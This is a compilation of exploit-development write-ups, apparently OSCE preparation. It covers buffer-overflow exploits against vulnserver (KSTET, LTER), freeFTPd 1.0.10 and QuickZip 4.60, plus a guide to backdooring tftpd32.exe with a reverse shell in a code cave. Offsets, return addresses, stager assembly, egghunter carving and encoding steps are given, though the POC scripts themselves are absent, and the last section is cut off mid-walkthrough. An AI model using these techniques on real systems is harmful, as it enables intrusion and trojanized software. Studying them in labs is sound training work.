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Multi-Stage EIP redirection Buffer Overflow -- Win API / Socket Reuse

Kali Linux
Windows Vista
Vulnerable application: vulnserver.exe (KSTET)


Vulnserver.exe is meant to be exploited mainly with buffer overflows vulnerabilities. More info about this application and where to download it can be found here:

~~~~~~//*****//~~~~~~

We get the initial crash using the following fuzzer.


...and we get a pretty vanilla EIP overwrite buffer overflow.


Calculating the offset as usual using Metasploit's pattern_offset.rb and pattern_create.rb



We have our offset value so at this point we will need to find JMP ESP address and redirect EIP to it. We will use address 0x625011AF.
Note that you can use Immunity Debugger's mona.py or just search it manually.


Updated POC with the offset value and JMP ESP address.


As we examine the crash in Immunity Debugger, we can see the correct offset value and hit our JMP ESP address however, once the jump is taken, our Cs have been truncated. As a result, this only gives us a space of about 20 bytes.


That said, we will use the C buffer space to do a reverse jmp to A's address space which allowed for roughly about 66 bytes of address space.

Reverse jump EB B8 and will jump as from address 0x00D0F9E0 to 0x00D0F99A


We update and send our exploit...then take the jump.


Once again, we examine the crash and see that we have successfully landed on A's address space.


Now the fun part begins..thanks to https://purpl3f0xsec.tech/2019/09/04/Vulnserver-KSTET-Socket-Reuse.html for pointing out this type of vector.

Stolen from purpl3f0xsec...the diagram below shows how the socket connection is established between the client and the vulnserver.

Basically, we will utilize (reuse) the recv() function call. The idea is to utilize the established socket() connection and use the recv() as the first stage payload. Once the recv() function is up and running, we will then send our second stage payload.

The second stage payload will not overflow the buffer so it will not get truncated.



More information about the recv() can be found here: https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-recv

To set up recv(), we need the following parameters.


Socket = socket descriptor

Buffer = memory location for our second stage payload

BufferSize = memory space allocation for our second stage payload

Flags = Socket flags…can be set to Null


These are the parameters will need to be pushed to the stack (don't forget reverse order).


Before I populated the parameters, I grabbed the address of recv() which can be done by going in to the .text entry point and if we scroll down, we will find the functions.


Address 0x00401953 has the recv() but if you double click it...it shows the actual address which is 0x0040252C



I set a breakpoint at address 0x0040252C.


Once we hit our breakpoint, if you look at the stack, we can see the parameters that are currently loaded in the stack.


Note that at this point...both EAX and EBX registers have the socket descriptor value of 0x00000050. This is because of the instructions at these addresses: 0x0040194A and 0x00401950


0x0040194A - MOV EAX, DWORD PTR SS: [EBP-420]


This is a pointer to [EBP-420] so whatever the value loaded in [EBP-420] gets mov into EAX


We can see that EBP currently points to address 0x00EEFF88 so subtracting 420 should get us to the address that holds the socket descriptor.

 



As expected, if we jump to address 0x00EEFB68...we can see the value 0x00000050 loaded in.



Now, address 0x00401950 has the following instructions..


0x00401950 - MOV DWORD PTR SS:[ESP], EAX


This basically just loads the socket descriptor value stored in EAX, to the the [ESP] pointer. We can verify this by following ESP in the stack which currently points to address 0x011CF9E0



Next, we will load the value of socket descriptor to EAX. ASLR is enabled we will to do some math and ee will use ESP's address as a reference point.


We know that EBP register holds the socket descriptor located at address 0x00EEFB68. This means that we will need to do following:


 0x00EEFB68 (EBP) - 0x00EEF9E0 (ESP) = 188 (in hex)


Great..so we will need to add 188 to ESP. We will do this by pushing ESP into stack, and pop it to EAX then add 188 to EAX. If our calculation is correct, we should have the socket descriptor address (0x00EEFB68) loaded to EAX.


We run the following instuctions:


PUSH ESP

POP EAX

ADD AX, 188

 

And we can see that address 00EEFB68 is now loaded in EAX which contains the socket descriptor value of 0x00000050 as shown in the stack.



Great...now we have the socket descriptor easily accessible!


Re-aligning ESP


At this point, we will have to re-align ESP so that we don't arbitrarily overlap with our first stage instructions. As we push more instructions to the stack, especially in a small  address space, we risk overlaping our first stage with ESP.

That said, we need to move our ESP below where our first stage will be loaded.

We use the following instructions to adjust ESP:

SUB ESP, 6C                         ;SUB 108 from ESP

This makes ESP points to 0x00EEF974

***Note that towards the end of the exploit development, I found that ESP  needed to point directly below the recv() parameters. That meant I had to adjust ESP and only subtracted 64 which pointed it to address 0x00EEF97C instead.


At this point, we have accomplished the following:

1. Located the address for the recv() function
2. Located the address that holds the socket descriptor value
3. Loaded the socket descriptor value to EAX
4. Aligned the stack to ensure our first stage does not overlap with ESP

Now we are ready to populate the parameters for our recv() function call.

Note that we need 4 parameters for the this function call pushed to the stack in reverse order.


0x1 - Param #4 (Flags)

Since we are not setting any flags, we will set this parameter to NULL.

Using the EBX register...we zero it out using XOR instruction before pushing it to the stack

XOR, EBX, EBX
PUSH EBX


0x2 - Param #3 (Buffer Size)

For the buffer size, I picked about 1024 bytes of buffer space which is a lot more than what we need.

Utilizing the EBX register again which is already set to zero...we will add 400 (in hex) to it.

ADD BH, 4
PUSH EBX


0x3 - Param # 2 (Buffer Location)

I initialy pointed the buffer location to beginning of the Cs (0x00EEF9E4), however, it didn't work so I had to point it directly right after the four parameters. In this case, the buffer location has to be pointed to address 0x00EEF97C


We  can use the ESP address again...load the address into EBX then do some math which in this case I had to add 120 to ESP (HEX 78)

PUSH ESP
POP EBX
ADD EBX, 78
PUSH EBX



0x4 - Param #1 (Socket Descriptor)

Finally, for the socket descriptor we will need to access the value currently stored in EAX (not EAX address itself)

EAX is still pointing to 0x00EEFB68 that holds the socket descriptor value of 0x00000050


We can simply push the value stored in EAX using the following instruction:

PUSH DWORD PTR DS:[EAX]


...and we are done with the parameters. 

At this point, we should have the following parameters. 

Socket descriptor = 0x00000050

Buffer location = beginning of our C's (NOTE: this was adjusted to address 0x00EEF97C)

Buffer size = 400 (1024 in dec)

Flags = 0



Calling the RECV()

With the parameters set, we are now ready to call our RECV() function. Note that RECV() function is at adddress 0x0040252C


As you can see the recv() address contains null bytes which we will need to be removed. I learned something new from https://purpl3f0xsec.tech/2019/09/04/Vulnserver-KSTET-Socket-Reuse.html as to how to remove these null bytes.

 

We simply use an arbitrary address such as removing the null bytes and adding 90 for the lowest byte: 0x40252C90 instead of 0x0040252C

 

So we move this arbitrary address to EAX:

 

MOV EAX, 40252C90

 

Then we shift to right by 8 bits which removes the last 8 bits (0x90) and adds 00 to the first 8 bits


SHR EAX, 8

 

Finally, we simply CALL EAX

 

Here just right before we execute CALL EAX, we can see that it currently points to the recv() address



That is the entire first stage...and we update our POC as shown below



We fire up the exploit one more, step through the stager, and we can see that we have all 4 parameters ready to go…they are followed with the address of where our payload will be loaded.


Second Stage / Reverse Shell

With our RECV() function ready, we can send our second stage payload.

We update our POC and see if we can add the Ds to memory.

Noe that I added a sleep(5) in between first and second stage. This ensures that our RECV() fucntion is ready before we send the second stage payload.


Here we can see that we have successfully loaded our Ds to memory at address 0x011EFD7C or 0x00EEFD7C (note ASLR).


We then replace the Ds with an actual reverse shell, fire up the exploit, and we get a reverse shell!





Thank you for reading.

Portable Executable (PE) backdooring and Address Space Layout Randomization (ASLR)

This blog will go over on how to backdoor windows executable.  The intent is to show how a windows PE can be hijacked and introduced a reverse shell while still allowing the executable to maintain its functionality. We will go over how ASLR provides  security feature that randomises the base address of executables/DLLs and positions of other memory segments like stack and heap. This prevents exploits from reliably jumping to a certain function/piece of code. 

This is why you shouldn't trust any executables that you are introducing to your system without verifying its source or checksum.

References:

Address Space Layout Randomization (ASLR): https://en.wikipedia.org/wiki/Address_space_layout_randomization  

Executables:
tftpd32.exe - is free, open-source TFTP server that is also includes a variety of different services, including DHCP, TFTP, DNS, and even syslog and functions as a TFTP Client as well
PsExec.exe - is a command-line tool that lets you execute processes on remote systems and redirect console applications' output to the local system so that these applications appear to be running locally. 

Tools:

Immunity Debugger (http://debugger.immunityinc.com/ID_register.py) 
LordPE (http://www.malware-analyzer.com/pe-tools) 
XVI32 (http://www.chmaas.handshake.de/delphi/freeware/xvi32/xvi32.htm)

~~~~~~~~~//*******//~~~~~~~~~

0x0 - Adding a New Section...Code Cave

There are basically two (or more?) ways to get a code cave (1) Find available address space and (2) add a new executable section.

"The concept of a code cave is often employed by hackers and reverse engineers to execute arbitrary code in a compiled program. It can be a helpful method to make modifications to a compiled program in the example of including additional dialog boxes, variable modifications or even the removal of software key validation checks. Often using a call instruction commonly found on many CPU architectures, the code jumps to the new subroutine and pushes the next address onto the stack. After execution of the subroutine a return instruction can be used to pop the previous location off of the stack into the program counter. This allows the existing program to jump to the newly added code without making significant changes to the program flow itself."

(1) Finding a code cave using backdoor-factory

(2) Using LordPE to add a new executable section.


For this blog, we will add a new section. As seen above, I added a section with 1000 virtual size, raw size 400. Also note that virtual offset is 0004B000 as we will need this value to calculate the Relative Value Address (RVA). Since ASLR is enabled, we will use RVA in order to dynamically do our jumps and address redirections.

0x1 - Entry point and New Section address

Using immunity debugger, we get the address of the new section (from this on this will be called code cave)

We can see that the address is currently pointing to 010AB000, however, the 2 higher-bytes of the adressare irrelevant due to ASLR.


We can see the entry point once we open up tftpd32.exe in immunity debugger and verify the memoy map. We will be hijacking the first instruction to make the jump to our code cave. Also, note that we will need to reintroduce these two instructions after the backdoor.


If ASLR was not enabled, we could have easily done a jmp 010AB000. That said, we will need to do some calculations to always hit the code cave regardless if its address is randomized.
To calculate the RVA, we will need the virtual offset and the entry point.



4B000 (VOffset) - 1208C (EntryPoint) = 3 8F74. This mean that we will do a jmp 38F74. 

Using nasm_shell.rb, we generate the following opcodes.


Our first instruction will be updated with E9 6F8F0300 which will do a jump to our code cave.


...if we reload the program, ASLR kicks in as we can see the higher 2 bytes have changed. The same opcodes but different address.


We take the jump and it lands us to the beginning of our code cave.


0x2 - Backdoor/Reverse Shell Code

Once in our code cave, we will add a Metasploit reverse shellcode

We will create the payload in hex format and binary copy it to the program using immunity debugger.


Before the reverse shell can be copied, all the registers and flags have to be said which can be done with PUSHAD and PUSHFD instructions. This is needed to maintain the integrity of the original program execution.


Once reverse shellcode is added, registers and flags are restored to their original state using POPFD and POPAD. However before that, we need to adjust the value of ESP to point it to the original stack/ESP value. 

In my case, here are the ESP values

Before shellcode: 0025F908
After shellcode: 0025F70C


We will need to add 1FC to the ESP to align it, then execute the POPFD and POPAD instructions to restore the registers and flags


At this point, if we add a breakpoint at the end of our shellcode and run the program...we should get a reverse shell to our Kali netcat listener.

As you can see that we have successfully hijacked code execution and redirected it to our code cave containing our reverse shellcode.

0x3 - Restoring Original Program Instructions

Remember the two instruction at the entry point before they were hijacked.? We will now need to restore these two instructions so the program can run as intended.


Keep in mind that we are still dealing with ASLR which means we will need calculate the RVA once again.

0096 BF15 - 0095 0000 = RVA 1 BF15 (this will be our CALL RVA_1 BF15) (additional offset by 10000)

0096 2091 - 0095 0000 = RVA 1 2091 (this will be our JMP RVA_1 2091)  (additional offset by 10000)


At address 010AB169 or RVA 4B169 (virtual offset + 169)

 

RVA_4B169 - RVA_1 BF15 



At address 010AB16E or RVA 4B16E (virtual offset + 16E)


RVA_4B16E- RVA_1 2091




Add these instructions or opcodes as shown below:


And we are done...somewhat.

0x4 - WaitForSingleObject

Our reverse shell calls the WaitForSingleObject function which pushes an ESI value of -1. As a result, tftpd32.exe will not execute until we exit the reverse shell. This mean that we will need to change the ESI value from -1 to 0.

We will trace code execution in immunity debugger using 'Trace Over' command.

Line 5 has DEC ESI instructions which makes ESI = FFFFFFFF. This means that all we need to do is cancel the DEC ESI instructions (making it NOP works just fine)!  




We should now be able to successfully execute the program while it also simultaneously sends a reverse shell to Kali.



Thanks for reading.

freeFTPd-1.0.10 SEH Based Buffer Overflow

Kali Linux
Windows Vista
freeFTPD 1.0.10

Original Author, POC, and vulnerable software: https://www.exploit-db.com/exploits/27747


~~~~~~//******//~~~~~~

Vulnerable program:




Initial Proof-of-Concept 


...and we get our initial crash where our SEH handler and nSEH have been overwritten with 41s.



Calculating the offset values

As usual, we use Metasploit's pattern _create.rb and pattern_offset.rb




We update our POC with the following offset values


...and we verify that we hit the correct offset values as shown with the Cs and Bs


POP-POP-RET 


Since this a SEH based buffer overflow, as usual we will need a POP-POP-RET address.

I am using mona.py to find this address.

Also, note that we will need to find an address that SAFESEH and ASLR disabled.

We will use address 0x0041B865



Again, we update our POC with our SEH Handler redirect address


We send our exploit up and we have successfully redirected code execution as we hit our POP-POP-RET address.


We follow the POP-POP-RET and we hit our nSEH which is just right below our As

Note: We currently do not see our Ds.


...however, if we scroll further down, we can see that our Ds are still loaded in memory. Just need find them...aka. egghunter.


First Jump

Since our first jump is limited to just 4 bytes, we will do a 2 byte reverse short jmp

EB 80 or jmp short reverse 128 bytes.

We update our nSEH with EB 80 and added 2 more NOPs (not necessary) to complete the 4 bytes.



We fire up the POC on more time, take the pop-pop-ret, and hit our first jump



Restricted characters 


After going through the 256 hex characters, we found that 0xa is the only restricted character

So far, we have accomplished the following:

1. Successfully crash the program and overwrite the SEH and nSEH
2. Calculated the offset values
3. Found POP-POP-RET address
4. Completed the first jump from nSEH which allows 127 bytes of address space


Egg...hunting!


Reminder...you can create an egghunter using mona.py


Note: I am using a slightly different egghunter shellcode.

We update our POC with our egghunter shellcode and add the egg in front of our Ds



Send the exploit up...take the first jump (EB 80) and we land on our NOP sled.

If we scroll down, our egghunter is just right below our the NOP sled.

We let the egghunter execute while adding a breakpoint at JMP EDI to check the value of EDI.

Here we can see that we have successfully located our egg...all that we need to do now is add our reverse shellcode right after our egg.


At this point we are ready to add our reverse shell





QuickZip 4.60 SEH Based Buffer Overflow w/ Egghunter

Structured Exception Handling (SEH)Based Buffer Overflow Vulnerability

Kali Linux
Windows Vista
QuickZip 4.60


Bug found by: corelancod3r (http://corelan.be:8800)
Software Link: http://www.quickzip.org/downloads.html


GitHub:https://github.com/pyt3ra/QuickZip_4_60_SEH-Based-Buffer-Overflow

~~~~~~//******//~~~~~~

This is another SEH based buffer overflow with an egghunter implementation. A more detailed explanation that I wrote about an egghunter implementation can be found here: https://www.pyt3ra.com/2020/03/slae-assignment-3.html

You can find numerous write-ups about this vulnerability and exploit it. This buffer overflow vulnerability gives us a good mix of shellcode encoding due to restricted characters as well as how to implement an egghunter. 

I'm doing this as part of my preparation of Offensive Security Certified Expert (OSCE) certification

0x0 - Setup

Our Proof-of-Concept creates a .zip file that we will access using QuickZip.





0x1 - Fuzzing

As usual, step one in exploit development is fuzzing. This allows us to examine how the program responds when we introduce a buffer (oversized) to it.

We will be using the fuzzer from corelan as shown below.


We examine the crash using immunity debugger and we can see that have successfully overwritten the SEH handler with 41s.


0x2 - Calculating the offset

We will utilize Metasploit's pattern_create.rb and pattern_offset.rb

First, we create unique characters of 4068 bytes and update our POC



We check the SEH chain after the crash to get the offset values

SEH: 6B41396A
nSEH: 41386A41


Second, we calculate these values using pattern_offset.rb


Finally, we update our POC and verify if these values are correct.

If everything is correct, we should see Bs at byte 294 and Cs at byte 298.



Our values are correct as we see the 43s and 42s overwrite both SEH and nSEH respectively.


0x3 - Verifying Restricted Characters

At this point, we are now ready to find an address to redirect the SEH handler. However, before we waste our time looking for an address, we will need to verify first if there are restricted characters. 

First, I worked on the first 128 bytes (x01 to x7F)

I sent the characters to the program and carefully watching how the program responds to the characters. If it gets mangled/truncated/updated, then it's a bad character.

After numerous tries, I was able to narrow down the restricted characters to the following:

'\x10\x0f\x14\x15\x2f\x3d\x3a\x5b'

Updated POC below:


Second, I worked with the other 128 bytes (x80 to xff)

Interestingly, hex characters 80 and above are changed to an arbitrary hex character.

I sent the following characters...


...and we see the following conversion in Immunity Debugger

The table below shows the conversion (not a complete list).



0x4 - POP-PO-RET address!

Now that we know which characters are not allowed, we are ready to find a POP-POP-RET address.

Lucky for us, Immunity Debugger's mona.py module enables an easier way to find a POP-POP-RET address. 

There were multiple addresses found.

Although not ideal since it has null bytes, we will be using address 00435133


We can verify that this is indeed a POP-POP-RET address by searching for it.


We can update our POC with this address and see if our SEH handler gets redirected to it. 

Note that the address has to be in little-endian.


We fire up the POC and we have successfully redirected the SEH handler as shown below:




…once we take the pop-pop-ret, we then get redirected to our nseh values (EBs)

Note that our  Ds are nowhere to be found now, however, our As are easily accessible which is just right above our nSEH. This means our initial jump will have to be a reverse jump to the beginning of our As that should get us at least 127 bytes of address space to further jump to a bigger space (Ds location)


0x5 - First Jump


Normally, we would be able to easily to a reverse jump short 80 (EB 80). However, note that any hex character of 80 or over is restricted and converts to a different hex character.

More info about jump shorts (forward and reverse) can be found here: https://thestarman.pcministry.com/asm/2bytejumps.htm

If we go back to our bad characters table…we can see that hex 89 and 9F translates to EB and 83 respectively.

89
EB
9F
83

Here's how the EB 83 instructions would work as shown in Immunity. 


We can now update our POC with our first jump


We see our EB 83 first jump in SEH chain


We take the pop-pop-ret and we successfully hit our first jump…from 0012FBB0 to 0012FB35


0x6 - Second Jump - Egghunter

Remember that the address space for our Ds is missing now (still in memory). This is where ideally where reverse shellcode would be. 

Note above that our dump doesn't show the address space where are Ds are close to our As.

Just because we can't find it doesn't mean it is missing…this is where an egghunter shellcode comes in to play.

Here's a write-up that I did about egghunter: https://www.pyt3ra.com/2020/03/slae-assignment-3.html

Mona.py also has a module to create an egghunter.

Note: I will be using a different egghunter

Due to restricted characters, we will need to carve out our egghunter shellcode so I will be using the egghunter shellcode that I used for OSCE prep (I spent way too much time carving them).

Also, note that I did another EB 83 at the beginning of our second jump to allow another 120+ bytes of address space as I noticed that the first jump wasn't enough space
  
Before we can start carving out the egghunter shellcode, we will need to align the ESP to point to the space below our first EB 08  at address 0012FB8D--this is where our egghunter shellcode will be decoded. 

We can see that ESP is currently pointed at 012F574 and we want to point to 0012FB8D


We will need to add 1561 to ESP


To align ESP, we need the following instructions:

PUSH ESP                   
POP EAX
ADD AX, 619
PUSH EAX
POP ESP

Keep in mind that we still need to avoid restricted characters...fortunately, the opcodes that correspond  to these instructions are not restricted

We execute the following instructions and we can see that our ESP now points to 0012FB8D


Again, we update our POC with our initial ESP realignment which will be the beginning of our egghunter shellcode


With our ESP aligned to where we want it to point....we can start carving out our egghunter shellcode.

Here's the original egghunter shellcode broken down into 4 bytes

#original egg hunter shellcode
\x68\x81\xcA\xFF
\x0F\x42\x52\x6A
\x02\x58\xCD\x2E
\x3C\x05\x5A\x74
\xEF\xb8\x54\x30
\x30\x57\x8b\xFA
\xAF\x75\xea\xAF
\x75\xE7\xFF\xE7

We will be using the EAX register to carve out the egghunter. Note that we need to zero out EAX first before we execute SUB instructions. We start from the last 4 bytes and work our way up.

zero_out_eax = "\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"

This whole carving thing is straight black magic...it never ceases to amaze me.

#\x75\xe7\xff\xe7
#using hex/dword in windows calc
#0 - E7FFE775 = 1800 188B
#7950 5109 + 7950 5109 + 255F7679 = 1800 188B
#0 - 07950 5109 - 79505109 - 255F7679 = E7FFE775


These 4 bytes are encoded by doing some SUB instructions on EAX, then it gets pushed to the stack, and then they get decoded at the ESP address.



We will be doing this for the other 28 bytes

#\xaf\x75\xea\xaf
#using hex/dword in windows calc
#0 - AFEA75AF = 5015 8A51
#71094404 + 71094404  + 6E03 0249‬ =  5015 8A51
#0 - 71094404 - 71094404  - 6E03 0249 = AFEA75AF



\x30\x57\x8b\xfa
#using hex/dword in windows calc
#0 - FA8B 5730 = 0574 A8D0‬
#55093131 + 55093131  + 5B62 466E = 0574 A8D0‬
#0 - 55093131 - 55093131  - 5B62 466E = FA8B 5730


\xef\xb8\x54\x30
#using hex/dword in windows calc
#0 - 3054 B8EF = CFAB 4711
#56316666 +56316666  + 2348 7A45 = CFAB 4711
#0 - 56316666  - 56316666  - 2348 7A45 = 3054 B8EF



At this point, we have successfully carved out the first 16 bytes of our egghunter shellcode.

Note that we are getting close  our second EB 83 jmp…we will need to jump over this to get to the next 127 bytes of address space

I made a mistake on the ESP realignment that resulted in wasted address space. ESP should have been pointed to the end of our 41s as the stack grows bigger, the address becomes smaller.

This means we need ESP to be pointing at address 0012FBAC



Adjusted ESP alignment


This gives us about extra 32 bytes of address space….every byte counts!

We finish up the first 128 bytes by adding the first half of our zero_out_eax instructions and adding a jump short 10 bytes to go over the second EB 83 (I think we could have looped around too and just overwrite the first 16 bytes of our egghunter shellcode).



Our jump short brings us from address 0012FB2F to 0012FB3B and we successfully get over the second EB 83



Now we continue encoding the rest of our egghunter shellcode


#\x3c\x05\x5a\x74
#using hex/dword in windows calc
#0 - 745A053C = 8BA5 FAC4
#41214433 + 41214433 + 0963 725E = 8BA5 FAC4
#0 - 41214433 - 41214433 - 0963 725E = 745A053C


#\x02\x58\xcd\x2e
#using hex/dword in windows calc
#0 - 2ECD5802 = D132 A7FE
#657F3165 + 657F3165 + 06344534 =  D132 A7FE
#0 - 657F3165 - 657F3165 - 06344534 = 2ECD5802



Finally, we hit our last 4 bytes



That completes our egghunter shellcode…with literally 6 bytes left to spare with our address space

To test if our egghunter can find our egg, we add our egg "T00W" to the beginning of our Ds…and see if we can find it

...and we are successful. We found our Ds address space.



0x7 - Shellcode time!

I created a calc shellcode to see if we are able to pop a shellcode.


We go through our egghunter and add a breakpoint right before the jmp edi instruction and we can see that edi points to the beginning of our calc shellcode



Everything looks good, however, our shellcode just keeps on crashing the program and not spawn a calc.exe

After spending research, it looks like the ESP has to be realigned.

We align ESP with the address of EDX....then make it divisible by 4

PUSH EDX
POP ESP
AND, ESP FFFFFFF0             ----> make ESP divisible by 4




I update the shellcode to a reverse shell…pop the exploit one more time and we get a reverse shell





Final POC in my GitHub.

Thanks for reading!

Buffer Overflow w/ Restricted Characters

 Buffer Overflow Vulnerability w/ restricted characters

Kali Linux
Windows Vista
Vulnerable application: vulnserver.exe (LTER)


Vulnserver.exe is meant to be exploited mainly with buffer overflows vulnerabilities. More info about this application and where to download it can be found here:



~~~~~//********//~~~~~~


For the LTER command, there are two ways to exploit the buffer overflow vulnerability, however, both exploits will have similar restricted characters

- Part 1: Vanilla Buffer Overflow w/ Restricted Characters
- Part 2: SEH base Buffer Overflow w/ Restricted Characters.....click here for  Part 2

Let's get started...

Fuzzing

Similar to the GMON write-up, I used boofuzz to do the initial fuzzing.

...and after crashing the program, we recreate the crash using the follow Proof-of-Concept


We get a pretty vanilla buffer overflow where the EIP has been overwritten with 41s

Also note that ESP currently points to our buffer. This is key once we figure out an address to redirect our EIP


Now we will need to determine our offset and see exactly which part of our buffer overwrites the EIP register.

As usual, this is accomplished using Metasploit's patter_create.rb to generate 3000 unique characters.


Update our POC with our unique characters, send the exploit, and examine the crash in immunity debugger.


Here we can see that EIP has been overwritten with the following values: 386F4337


Metasploit's pattern_offset.rb can be used to determine the offset with this value.

Once we determine the offset, we update our POC again



We send the POC one more time and examine the crash...if our offset is correct, EIP should be overwritten with x42s

In this case, we can see 42424242 were successfully loaded into the EIP register


Finding bad characters

Now that we are able to redirect our EIP...we will need to find an address to redirect the EIP. Since we know that ESP register points to our buffer, we will be looking for a JMP ESP address.

However, before we choose an address, we will need to verify if there are any bad characters.

We update the POC with the following 256 unique hex characters


After running a few test, it's verified that anything over 7F is being subtracted by 7F as we can see below in our dump….such that x80 - x7F = x01

This means we will not be able to use any hex characters over 7F

Allowed characters:

x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f



Now we will need a call esp or jmp esp address…this will ultimately call our 'Cs' where our reverse shell will be loaded while Kkeeping in mind the restricted characters.

We find the following address using mona.py in immunity debugger

FF E4 = jmp esp
Address: 62501203


We can verify this address is a JMP ESP by searching it



At this point, we can updated our EIP to redirect to this JMP ESP  address


As we follow the crash in immunity, we can see that EIP has been successfully overwritten with our JMP ESP address


...once we take the JMP ESP, we are redirected to the top of our Cs




Reverse shell time!

We will need to create our revere shell to encode it with x86/alpha_mixed in order to avoid the restricted characters


We update our POC one last time

Again we follow the jmp esp and we hit the beginning of our reverse shell. We let the code execution continue and successfully get a reverse shell in our Kali listener.



Final Proof-of-Concept




SEH Based Buffer Overflow with Restricted Characters

Structured Exception Handling (SEH)Based Buffer Overflow Vulnerability w/ Restricted Characters


Kali Linux
Windows Vista 
Vulnerable application: vulnserver.exe (LTER)


Vulnserver.exe is meant to be exploited mainly with buffer overflows vulnerabilities. More info about this application and where to download it can be found here:



Github: https://github.com/pyt3ra/SEH-based-Buffer-Vulnerablity-128-Restricted-Hex-Characters-

~~~~~//********//~~~~~~

Fuzzing 

Fuzzing with boofuzz



We open the boofuzz result using SQLite browser


Recreating the crash with our Proof-of-concept


As usual, we examine the crash using Immunity Debugger and see that our SEH handler address has been overwritten with our buffer



Calculating Offset

We use Metasploit's pattern_create.rb and pattern_offset.rb to generate unique characters and calculate the offset.

Updated POC


The following values overwrite the SEH handler


...which then equates to the following offset positions.


Once again, we update the Proof-of-Concept with the following offset calculations and verify if we can see these values after the crash



Finding restricted characters


After running a few test, it looks like anything over 7F is being subtracted by 7F as we can see below in our dump….such that x80 - x7F = x01

This means we will not be able to use any hex characters over 7F

Allowed characters:

x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f


At this point we have successfully done the following:

1. Successfully produced a crash to the program with the buffer we provided
2. Calculated the offset values for address redirection
3. Found all the restricted characters

POP-POP-RET...the key to SEH Based Buffer Overflow Vulnerabilities


I will be using the same POP-POP-RET address from the Vulnserver.exe (GMON) write-up


Updated the POC with the following values...I also added some nopes for the other 4 bytes


We cannot forget about the restricted characters (hex 80 to FF)

We get a crash, however, we can see that our POP-POP-RET address has been changed to 625010B4 to 62501035 where the last byte has been changed (B4 - 7F = 35)

Also note, that our 90s have been changed to 11 (90 - 7F = 11)...we will worry about this part later


We found another POP-POP-RET address


Again, we update the POC with this new POP-POP-RET address


We fire up the POC and set a breakpoint in immunity. As we check the SEH chain plugin, we can confirm that we were able to redirect the SEH handler to the address 6250120B


We allow the execution and hit our breakpoint


We step through the POP POP RET instructions, and we hit our first entry (x90s) or in this case, x11s (90 - 7F)


First Jump 

After we are redirected to the pop-pop-ret address we are then sent to the 4 bytes right before it. We will have to use these 4 bytes to get our first jump

For the first jmp we will use the jnz conditional jump and fill the extra bytes with inc eax. With GMON we used EB 09 or jmp 9 bytes, however, EB is unusable since it is one of the restricted characters.

At this time, eax is currently 0x00000000 so I used the inc eax (41) to disable the ZF. Then do the jump-if-not-zero (jnz) instruction

This jumps pass our SEH handler address…also, note that if we follow it in the dump that we can see we only have 48 bytes of address space…not enough for a reverse/bind shell.


Second jump

Now we have 48 bytes that we can use to do our second jump while keeping in mind the restricted characters
 To circumvent the restricted characters, we will be 'carving' our shellcode with SUB instructions

More info about shellcode carving can be found here: http://vellosec.net/2018/08/carving-shellcode-using-restrictive-character-sets/

First, we will need to realign our stack so that we will know where our decoded jump will show up. In this case, we want our decoded jump opcodes just below our first jump at the following address:



Before we carve it out, we have to realign ESP to address 00E9FFF8 which can be done with the following instructions:

(1)
push esp
pop eax               ;move the value of esp to eax
add ax, 0d75      ;add 3445 to eax
add ax, 0465      ;add 1125 to eax
push eax             ;push new eax value to the stack
pop esp              ;move the value of eax to esp

Note that after we do this, we will need to zero out eax for shellcode carving to work

There are multiple ways to zero out eax (i.e. xor eax, eax), however, this will not work due to restricted characters

We will use the AND operator using the following values

(2)
AND 554E4D4A = ‭101 0101 0100 1110 0100 1101 0100 1010‬
AND 2A313235 = ‭010 1010 0011 0001 0011 0010 0011 0101‬
--------------------------------------------------------------------------------
                             =000 0000 0000 0000 0000 0000 0000 0000

(3)
For our second jump, we will be using a reverse short jump: EB 80 

In order to carve out EB 80 we use the following values:

\xeb\x80\x90\x90 = 6464 7F15
0 - 909080EB = 6F6F7F15
 32103355 + 32103355 + 0B4F 186B = 6F6F7F15
0 - 3210 3355 - 3210 3355 - 0B4F 186b = 909080EB

We will do SUB operations with these values then push the result to the stack

After everything is said and done, our second jump will look like this



We execute our updated POC and trace code execution in immunity debugger

Here we can see that our second jump instructions starts at address 00EFFFD1 and then the EB 80 instructions are carved at address 00EFFFFA

Once we take the jmp short 80h, we get another 72-byte address space that we can work with. This can be seen in our hex dump at address 00EFFF7C


Third Jump

After the second jump, the address space is still not big enough for reverse or bind shell...which means we will need to do another jump.

As usual, we will need to realign ESP to set where are decoded instructions will be saved. In this case, ESP currently points at address 00FAFFFD and we would like to point it to 0FAFFAE.

After we store the value of ESP to EAX we execute the following SUB instruction

SUB AL, 4F (00FAFFFD - 4F = 0FAFFAE)

We then pop this address back to ESP


After we run the following instructions, we can see that ESP points to address 00FAFFAE…this is where our decoded jump instructions will be stored


For the third jump, we will be using the following instructions:


\x81\xec\x48\x0d\x00\x00 (SUB ESP, 0DA0)
\xff\xe4                                   (JMP ESP)
00FAFFAE - 0DA0 = 00FAF20E

